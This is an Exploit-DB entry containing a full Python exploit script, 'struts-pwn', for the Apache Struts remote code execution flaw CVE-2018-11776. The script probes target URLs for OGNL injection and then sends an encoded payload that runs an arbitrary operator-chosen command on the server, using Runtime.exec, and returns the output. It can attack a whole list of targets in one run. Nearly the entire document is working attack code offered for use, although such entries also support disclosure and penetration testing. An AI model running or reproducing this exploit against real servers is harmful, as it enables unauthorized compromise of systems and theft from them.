Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution

EDB-ID: 45260
Author: Mazin Ahmed
Published: 2018-08-26
CVE: CVE-2018-11776
Type: Remote
Platform: Multiple
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 # coding=utf-8 
# *****************************************************
# struts-pwn: Apache Struts CVE-2018-11776 Exploit
# Author:
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
# This code uses a payload from:
# https://github.com/jas502n/St2-057
# *****************************************************

import argparse
import random
import requests
import sys
try:
from urllib import parse as urlparse
except ImportError:
import urlparse

# Disable SSL warnings
try:
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
except Exception:
pass

if len(sys.argv) <= 1:
print('[*] CVE: 2018-11776 - Apache Struts2 S2-057')
print('[*] Struts-PWN - @mazen160')
print('\n%s -h for help.' % (sys.argv[0]))
exit(0)


parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url",
dest="url",
help="Check a single URL.",
action='store')
parser.add_argument("-l", "--list",
dest="usedlist",
help="Check a list of URLs.",
action='store')
parser.add_argument("-c", "--cmd",
dest="cmd",
help="Command to execute. (Default: 'id')",
action='store',
default='id')
parser.add_argument("--exploit",
dest="do_exploit",
help="Exploit.",
action='store_true')


args = parser.parse_args()
url = args.url if args.url else None
usedlist = args.usedlist if args.usedlist else None
cmd = args.cmd if args.cmd else None
do_exploit = args.do_exploit if args.do_exploit else None

headers = {
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Accept': '*/*'
}
timeout = 3


def parse_url(url):
"""
Parses the URL.
"""

# url: http://example.com/demo/struts2-showcase/index.action

url = url.replace('#', '%23')
url = url.replace(' ', '%20')

if ('://' not in url):
url = str("http://") + str(url)
scheme = urlparse.urlparse(url).scheme

# Site: http://example.com
site = scheme + '://' + urlparse.urlparse(url).netloc

# FilePath: /demo/struts2-showcase/index.action
file_path = urlparse.urlparse(url).path
if (file_path == ''):
file_path = '/'

# Filename: index.action
try:
filename = url.split('/')[-1]
except IndexError:
filename = ''

# File Dir: /demo/struts2-showcase/
file_dir = file_path.rstrip(filename)
if (file_dir == ''):
file_dir = '/'

return({"site": site,
"file_dir": file_dir,
"filename": filename})


def build_injection_inputs(url):
"""
Builds injection inputs for the check.
"""

parsed_url = parse_url(url)
injection_inputs = []
url_directories = parsed_url["file_dir"].split("/")

try:
url_directories.remove("")
except ValueError:
pass

for i in range(len(url_directories)):
injection_entry = "/".join(url_directories[:i])

if not injection_entry.startswith("/"):
injection_entry = "/%s" % (injection_entry)

if not injection_entry.endswith("/"):
injection_entry = "%s/" % (injection_entry)

injection_entry += "{{INJECTION_POINT}}/" # It will be renderred later with the payload.
injection_entry += parsed_url["filename"]

injection_inputs.append(injection_entry)

return(injection_inputs)


def check(url):
random_value = int(''.join(random.choice('0123456789') for i in range(2)))
multiplication_value = random_value * random_value
injection_points = build_injection_inputs(url)
parsed_url = parse_url(url)
print("[%] Checking for CVE-2018-11776")
print("[*] URL: %s" % (url))
print("[*] Total of Attempts: (%s)" % (len(injection_points)))
attempts_counter = 0

for injection_point in injection_points:
attempts_counter += 1
print("[%s/%s]" % (attempts_counter, len(injection_points)))
testing_url = "%s%s" % (parsed_url["site"], injection_point)
testing_url = testing_url.replace("{{INJECTION_POINT}}", "${{%s*%s}}" % (random_value, random_value))
try:
resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
except Exception as e:
print("EXCEPTION::::--> " + str(e))
continue
if "Location" in resp.headers.keys():
if str(multiplication_value) in resp.headers['Location']:
print("[*] Status: Vulnerable!")
return(injection_point)
print("[*] Status: Not Affected.")
return(None)


def exploit(url, cmd):
parsed_url = parse_url(url)

injection_point = check(url)
if injection_point is None:
print("[%] Target is not vulnerable.")
return(0)
print("[%] Exploiting...")

payload = """%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email protected]@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D""".format(cmd)

testing_url = "%s%s" % (parsed_url["site"], injection_point)
testing_url = testing_url.replace("{{INJECTION_POINT}}", payload)

try:
resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
except Exception as e:
print("EXCEPTION::::--> " + str(e))
return(1)

print("[%] Response:")
print(resp.text)
return(0)


def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):
if url:
if not do_exploit:
check(url)
else:
exploit(url, cmd)

if usedlist:
URLs_List = []
try:
f_file = open(str(usedlist), "r")
URLs_List = f_file.read().replace("\r", "").split("\n")
try:
URLs_List.remove("")
except ValueError:
pass
f_file.close()
except Exception as e:
print("Error: There was an error in reading list file.")
print("Exception: " + str(e))
exit(1)
for url in URLs_List:
if not do_exploit:
check(url)
else:
exploit(url, cmd)

print("[%] Done.")


if __name__ == "__main__":
try:
main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)
except KeyboardInterrupt:
print("\nKeyboardInterrupt Detected.")
print("Exiting...")
exit(0)
#NCt4elp3bDE3c1BlVkRPbnlhSjUzUDdLa0JiV1B2TFM0TXVST1lKbDA1K3JoVkIra3BTTlVkdFNueGZ5T1FCWDVyM1c3ZFlRcGRZeTJ3bmFIK1hHeXp3dEMweG1FVFphK0dCT2lBU2lTQ2phakdzMjR4Q3JHWXNCZzh5S3NkMFJTa0FSa1hlNjFSZFFFZXdnQTRROTBrdmtNajNOWkNMc2ppR0MzSUZaUWU0VVBsV2F6Zk5IVEo5NDdQSmlmdHBsZEwyS1NZZGRGbUQ1SXFSZ0t4cmlJUlBvNW9kVmJNbSt0MUQ0ZXRpSEg5cVFlZTUrbjdicGJxeC93QUJkQlJ2bEhvQnVxRGVVVGxlUDBBYkh6ZktmcWc9PQ==

Related Posts